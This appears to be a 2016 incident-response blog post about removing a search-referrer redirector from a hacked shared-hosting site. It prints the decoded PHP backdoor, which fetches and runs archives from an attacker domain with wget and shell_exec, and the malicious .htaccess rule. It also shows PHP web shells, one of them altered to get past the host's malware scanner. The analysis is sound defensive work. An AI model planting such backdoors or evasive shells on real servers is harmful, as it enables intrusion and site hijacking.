Removing a PHP Redirector

The Call

Last evening, I got an email from a friend whose business site was hacked. The site looked normal unless a viewer came in from a Google search. Vistors from Google were redirected to an "adult" site instead of seeing the real business site.

Reproducing the Problem

I tried a few ways to load the site in Chrome on my Macbook, and saw the problem, but then it stopped happening. At first I thought the owner had cleaned the site, but then I tried a different computer and saw that the redirect still worked on it.

I've seen this before; redirectors that notice too many loads from the same browser and stop redirecting. I found that using Safari on the original computer showed the redirection, and that if I deleted all browsing data, Chrome showed the redirection again.

Using Chrome Developer Tools, I captured the sequence of the redirection, as shown below.

The GET request from Google never loads any page from the site at all; the response is a 302 redirect to the adult site.

After a few experiments, I made this Python script to show the effect in a very simple way. A Referer of Google causes the redirect; without that, it loads correctly.

#!/usr/bin/python

import socket
s = socket.socket()

req1 = """GET / HTTP/1.1
Host:www.example.com
Referer:https://www.google.com/

"""
s.connect(("www.example.com", 80))
s.send(req1)

print "HTTP REQUEST:"
print req1
print
print "RESPONSE:"
resp = s.recv(2048)
print resp

s.close()
The result was clear:
HTTP REQUEST:
GET / HTTP/1.1
Host:www.example.com
Referer:https://www.google.com/

RESPONSE:
HTTP/1.1 302 Found
Date: Fri, 22 Apr 2016 05:28:44 GMT
Server: Apache
Location: http://top-24h-can-store.com/redirect.php?z=viagra
Content-Length: 305
Content-Type: text/html; charset=iso-8859-1

Requesting Access

I sent these results to the site owner and requested access to the site so I could investigate further.

The site was a shared hosting page on GoDaddy without SSH access, so all I could get was an FTP name and password.

Looking at the site with FTP, I quickly saw two suspicious-looking PHP files: css.php and ferries-annually.php.

Cleanup Attempt

After downloading copies to analyze, I set the permissions of the two files css.php and ferries-annually.php to 000.

However, that had no effect--the redirection still operated.

I noticed at this point that I could not change the file permissions back; they were stuck at 000. My FTP account was not the owner of the files.

I couldn't find anything else suspicious, so I turned to analyzing those files.

css.php

It contained this obfuscated code:
<?php $oiowl="sbZT3NA.J6lrf8eV0c2ITTr_XJbvT1.S6lKo4tetmeeHmJI4_d9AHe464bO9oAacrndpiqePCAEDee/p/Rc4_nWX27g6eaRogsheNP*9a02Qp"; $gvrgleuns=$oiowl[43] .$oiowl[20] .$oiowl[21] .$oiowl[71] .$oiowl[84] .$oiowl[45] .$oiowl[5] .$oiowl[24] .$oiowl[6] .$oiowl[73]; $vjmjoetlp=$oiowl[96] .$oiowl[38] .$oiowl[37] .$oiowl[99] .$oiowl[65] .$oiowl[27]; $rldihcmam=$oiowl[108] .$oiowl[11] .$oiowl[92] .$oiowl[90] .$oiowl[23] .$oiowl[64] .$oiowl[77] .$oiowl[79] .$oiowl[33] .$oiowl[104] .$oiowl[82] .$oiowl[42]; $tikrdyjde=$oiowl[1] .$oiowl[93] .$oiowl[0] .$oiowl[53] .$oiowl[55] .$oiowl[47] .$oiowl[48] .$oiowl[66] .$oiowl[76] .$oiowl[17] .$oiowl[95] .$oiowl[49] .$oiowl[14]; $uoitsphod=$oiowl[80] .$oiowl[30] .$oiowl[102] .$oiowl[78] .$oiowl[41]; $afjryxvih=$oiowl[7]; $xyklihfuz=$vjmjoetlp($gvrgleuns); $rldihcmam($uoitsphod,$tikrdyjde($xyklihfuz),$afjryxvih); ?>
I modified the file to print out the results rather than take action:
<?php $oiowl="sbZT3NA.J6lrf8eV0c2ITTr_XJbvT1.S6lKo4tetmeeHmJI4_d9AHe464bO9oAacrndpiqePCAEDee/p/Rc4_nWX27g6eaRogsheNP*9a02Qp";
$gvrgleuns=$oiowl[43] .$oiowl[20] .$oiowl[21] .$oiowl[71] .$oiowl[84] .$oiowl[45] .$oiowl[5] .$oiowl[24] .$oiowl[6] .$oiowl[73];
$vjmjoetlp=$oiowl[96] .$oiowl[38] .$oiowl[37] .$oiowl[99] .$oiowl[65] .$oiowl[27];
$rldihcmam=$oiowl[108] .$oiowl[11] .$oiowl[92] .$oiowl[90] .$oiowl[23] .$oiowl[64] .$oiowl[77] .$oiowl[79] .$oiowl[33] .$oiowl[104] .$oiowl[82] .$oiowl[42];
$tikrdyjde=$oiowl[1] .$oiowl[93] .$oiowl[0] .$oiowl[53] .$oiowl[55] .$oiowl[47] .$oiowl[48] .$oiowl[66] .$oiowl[76] .$oiowl[17] .$oiowl[95] .$oiowl[49] .$oiowl[14];
$uoitsphod=$oiowl[80] .$oiowl[30] .$oiowl[102] .$oiowl[78] .$oiowl[41];
$afjryxvih=$oiowl[7];
print "gvrgleuns: $gvrgleuns \n<br>";
print "vjmjoetlp: $vjmjoetlp \n<br>";
print "rldihcmam: $rldihcmam \n<br>";
print "tikrdyjde: $tikrdyjde \n<br>";
print "uoitsphod: $uoitsphod \n<br>";
print "afjryxvih: $afjryxvih \n<br>";
$xyklihfuz=$vjmjoetlp($gvrgleuns);

print "Next command is: $vjmjoetlp($gvrgleuns)\n<br>";

print "Result xyklihfuz is $xyklihfuz \n<br>";

print "Next command is: $rldihcmam($uoitsphod,$tikrdyjde($xyklihfuz),$afjryxvih)\n<br>";

# $rldihcmam($uoitsphod,$tikrdyjde($xyklihfuz),$afjryxvih); ?>

I ran it on my server (one of the ones I use for dangerous things). It deobfuscates something using base64, but it wasn't obvious what the input was.

ferries-annually.php

This file contained a long block of Base64-encoded text, followed by an "eval(decode())" function, with the text reversed. I have removed most of the Base64 and inserted "..." below to make it more readable.
<?php 
$iagszq="c".chr(114)."e"."a"."t"."e".chr(95)."f"."u".chr(110).chr(99).chr(116)."\x69".chr(111)."n";
$cpqqek = $iagszq('$a',strrev(';)a$(lave'));
$cpqqek(strrev(';))"K0QfJkgCN0XC...R3X0V2c"(edoced_46esab(lave'));
?>
Once again, I modified the code to print out the deobfuscated text:
<?php
 $iagszq="c".chr(114)."e"."a"."t"."e".chr(95)."f"."u".chr(110).chr(99).chr(116)."\x69".chr(111)."n";

print "Decoded stuff: \n";
print base64_decode("c2V0X3RpbWV...gkJfQ0K")
?>
And here's the code, with some print statements and comments I added, denoted by red font:
set_time_limit(0);

function get_page_by_curl($url,$useragent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36"){
		$ch = curl_init ();
		curl_setopt ($ch, CURLOPT_URL,$url);
		curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt ($ch, CURLOPT_TIMEOUT, 30);
		curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
		curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
		curl_setopt ($ch, CURLOPT_USERAGENT, $useragent);

print "Get Page by Curl wants to fetch $url \n<br>";
#		$result = curl_exec ($ch);
#		curl_close($ch);
#		return $result;
}



		$doorcontent="";
		$x=@$_POST["pppp_check"];
		$md5pass="e5e4570182820af0a183ce1520afe43b";

		$host=@$_SERVER["HTTP_HOST"];
		$uri=@$_SERVER["REQUEST_URI"];
		$host=str_replace("www.","",$host);
		$md5host=md5($host);
		$urx=$host.$uri;
		$md5urx=md5($urx);



		if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();if (!is_dir($tmppath)){	$tmppath = (dirname(__FILE__));	}	} else { $tmppath = (dirname(__FILE__));}


print "tmppath: $tmppath <br>\n";

		$cdir=$tmppath."/.".$md5host."/";
		$domain=base64_decode("Zi5zbGVvemlmYXJtaS5jb20=");


print "cdir: $cdir <br>\n";
print "domain: $domain <br>\n";

		if ($x!=""){
			$p=md5(base64_decode(@$_POST["p"]));
			if ($p!=$md5pass)return;
			$pa=@$_POST["pa"];

			if (($x=="2")||($x=="4")){
				echo "###UPDATING_FILES###\n";
				if ($x=="2"){
					$cmd="cd $tmppath; rm -rf .$md5host";
					echo shell_exec($cmd);
				}
				$cmd="cd $tmppath; wget http://update.$domain/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
				if ($pa!=""){
					$pa+=0;
					$cmd="cd $tmppath; wget http://update.$domain/arc/".$md5host."_".$pa.".tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
				}
				echo shell_exec($cmd);
				exit;
			}
			if ($x=="3"){
				echo "###WORKED###\n";exit;
			}
		}else{
			$curx=$cdir.$md5urx;
			if (@file_exists($curx)){
				@list($IDpack,$mk,$doorcontent,$pdf,$contenttype)=@explode("|||",@file_get_contents($curx));
				$doorcontent=@base64_decode($doorcontent);
				
				$bot=0;
				$se=0;
				$mobile=0;
				if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT" ]))$bot=1;
				if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT" ]))$mobile=1;
				if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER" ]))$se=1;
				if ($bot) {
					$pdf+=0;
					if ($pdf==1){
						header("Content-Type: application/pdf");
					}
					if ($pdf==2){
						header("Content-Type: image/png");
					}
					if ($pdf==3){
						header("Content-Type: text/xml");
					}
					if ($pdf==4){
						$contenttype=@base64_decode($contenttype);
						$types=explode("\n",$contenttype);
						foreach($types as $val){
							$val=trim($val);
							if($val!="")header($val);
						}
					}
					echo $doorcontent;exit;
				}
				if ($se) {echo get_page_by_curl("http://$domain/lp.php?ip=".$IDpack."&mk=".rawurlencode($mk)."&d=".$md5host."&u=".$md5urx."&addr=".$_SERVER["REMOTE_ADDR"],@$_SERVER["HTTP_USER_AGENT"]);exit;}

				header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found");
				echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n";
				echo '<html><head>' . "\n";
				echo '<title>404 Not Found</title>' . "\n";
				echo '</head><body>' . "\n";
				echo '<h1>Not Found</h1>' . "\n";
				echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "\n";
				echo '<hr>' . "\n";
				echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>' . "\n";
				echo '</body></html>';
				exit;
			}else{


				$crurl="http://".@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI'];
				$buf=get_page_by_curl($crurl);

				$curx=$cdir."fff.sess";
				if (@file_exists($curx)){
					$links=@file($curx,FILE_SKIP_EMPTY_LINES|FILE_IGNORE_NEW_LINES);
					$c=@count($links)-1;
					shuffle($links);
					if ($c>20)$c=20;
					$regexp = "<a\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>";
					if(preg_match_all("/$regexp/siU", $buf, $matches)) {
						$zval=$matches[0];
						shuffle($zval);
						foreach($zval as $val){
							if ($c<0)break;
							list($l,$anchor)=explode("|||",trim($links[$c]));
							$new='<a href="'.$l.'">'.$anchor.'</a>';
							$buf=str_ireplace($val,$new,$buf);
							$c--;
						}
					}					
					
				}
				echo $buf;

			}
		}
By running portions of this code on my server, and also on the infected business server, I figured out that it's loading a page from "f.sleozifarmi.com" via curl and using it to control the redirection process, which has several different options, but does watch for a Referer of Google.

The redirector is also using the "tmp" folder, which looks like this on GoDaddy:

/home/content/59/1234567/tmp

Getting a Shell

I was unable to access that folder via FTP, but the malware evidently could. To proceed, I needed a shell. GoDaddy doesn't allow web hosting customers to have SSH shells, but I decided to use a PHP shell, the same way the attacker did.

I tried uploading my favorite PHP shell:

<?php system($_REQUEST['cmd']); ?>
Something blocked this. The shell would upload, but then the file would be deleted immediately. Apparently GoDaddy is running something like antivirus on the server, which detects the shell and deletes it.

Apparently, text reversal and base64 encoding are enough to sneak malware past the scanner, so I considered copying those techniques from the malware, but none of that was needed. All I had to do was to modify the shell to this:

<?php 
    $x = ($_REQUEST["x"]);
    system($x);
    echo "</pre>$x<pre>";
?>
I caused some disruption at the coffehouse laughing when I saw that shell work on the GoDaddy server. Their malware detection is REALLY LAME.

Now I had a shell, so I could explore other directories.

The website content is here:

/home/content/59/1234567/html
And the tmp directory is here:
/home/content/59/1234567/tmp
Using my PHP shell to execute

ls -al ..

Showed these results:

total 48
drwx---r-x  8 cust1 inetuser  4096 Aug 15  2014 .
drwx---r-x 70     0 root     12288 Apr 22 12:55 ..
-rwx---r-x  1     0 root        20 Nov 14  2010 .cgi_auth
-rw-r--r--  1     0 root       754 Apr 20 18:01 .disk_usage
-------r--  1     0 root         0 Nov  6  2012 .htaccess
drwx---r-x  2 cust1 inetuser  4096 Nov 14  2010 data
drwx---r-x  2 cust1 inetuser  4096 Jan 16  2012 htconfig
drwx---r-x 36 cust1 inetuser  8192 Apr 22 12:53 html
drwx---r-x  2 cust1 inetuser  4096 Nov 29  2010 scc
drwx---r-x  2 cust1 inetuser  4096 Nov  9 23:11 scctmp
drwx---r-x  3 cust1 inetuser  4096 Nov  9 00:27 tmp
The tmp folder contained a hidden folder with a name calculated with MD5:
total 12
drwx---r-x 3 cust1 inetuser 4096 Nov  9 00:27 .
drwx---r-x 8 cust1 inetuser 4096 Aug 15  2014 ..
drwx---r-x 2 cust1 inetuser 4096 Nov  9 00:27 .b50ef72e70379f22e115024ecb16d288
The hidden folder contained a set of files, which were obfuscated and began with the names of the adult pages it was redirecting to:
total 464
drwx---r-x 2 cust1 inetuser  4096 Nov  9 00:27 .
drwx---r-x 3 cust1 inetuser  4096 Nov  9 00:27 ..
-rw----r-- 1 cust1 inetuser 28558 Nov  9 00:27 2ae9db954cb115b6b53b74b058a0c9b3
-rw----r-- 1 cust1 inetuser 28947 Nov  9 00:27 4683c144eb4f2c99753890847811f857
-rw----r-- 1 cust1 inetuser 60844 Nov  9 00:27 5889d11949a8f1f2f08d37ccec50a17f
-rw----r-- 1 cust1 inetuser 27876 Nov  9 00:27 7613898c42aaf79082059f29f5646f57
-rw----r-- 1 cust1 inetuser 30912 Nov  9 00:27 7769344e3cdc41a2ffa260aaa40637dc
-rw----r-- 1 cust1 inetuser 28920 Nov  9 00:27 7a4fd05b9b16733d3760a8b2d77cb336
-rw----r-- 1 cust1 inetuser 25668 Nov  9 00:27 898853a76350b1ac7842441e8cd4b4f8
-rw----r-- 1 cust1 inetuser 28720 Nov  9 00:27 968b95a5c85c6d156914276c05e38cc2
-rw----r-- 1 cust1 inetuser 52867 Nov  9 00:27 994dba7b1e953ab061df6736668c9f56
-rw----r-- 1 cust1 inetuser 27395 Nov  9 00:27 bf578182c25214079ca92616f5ea4c3f
-rw----r-- 1 cust1 inetuser 26152 Nov  9 00:27 d09742876f4db77ea21f6974bd689974
-rw----r-- 1 cust1 inetuser 62809 Nov  9 00:27 e1697240ec606c99ee064b61204664ae
Using my PHP shell, I used "cp" to copy these files to the html folder, and used FTP to save a copy for later analysis.

I then deleted all these tmp files.

However, the redirection still persisted.

Back Up

My next idea was to selectively change permissions on files and folders in the website using my PHP shell, and see when the redirection stopped. However, I've been burned enough times to worry about something going wrong, so I'd lose my PHP shell and have no way to restore the website. So I moved to campus, where I have fast Internet, and made a local backup of the whole site. The backup was slow, so while it was running I took another look at the files in the home directory.

The Fix: .htaccess

I saw a .htaccess file in the home directory of the website. That file contained this code:
RewriteEngine On
RewriteCond %{HTTP_REFERER} (google|aol|yahoo|msn|search|bing|Seznam|seznam)
RewriteRule . http://top-24h-can-store.com/redirect.php?z=viagra [L]
RewriteEngine On
Very simple and obvious! I deleted that file and the redirection stopped.

Root Cause Analysis

So the immediate problem is fixed, but how can this be prevented in the future? Unfortunately, I did not find the root cause.

I ran several vulnerability scanners on the site, but they found nothing significant. The site is very simple, no database, no CMS; very little to go wrong.

In am left with these guesses for the cause:

I don't have access to server logs, even if they exist, so I'm stumped.

All I can recommend is changing all passwords, upgrading to encrypted FTP, and monitoring the site to see if the infection reappears. Quite unsatisfactory. One lesson for me is that Web hosting is risky; you don't even have enough access to clean your site properly if you want to. You are dependent on whatever security your hosting provider has, and you can't even monitor it properly.

The site owner did have some sort of Sucuri protection on the site, but the owner didn't use that service to clean the site, in order to give me a chance to try first, which I appreciate :)


Posted 4-22-16 by Sam Bowne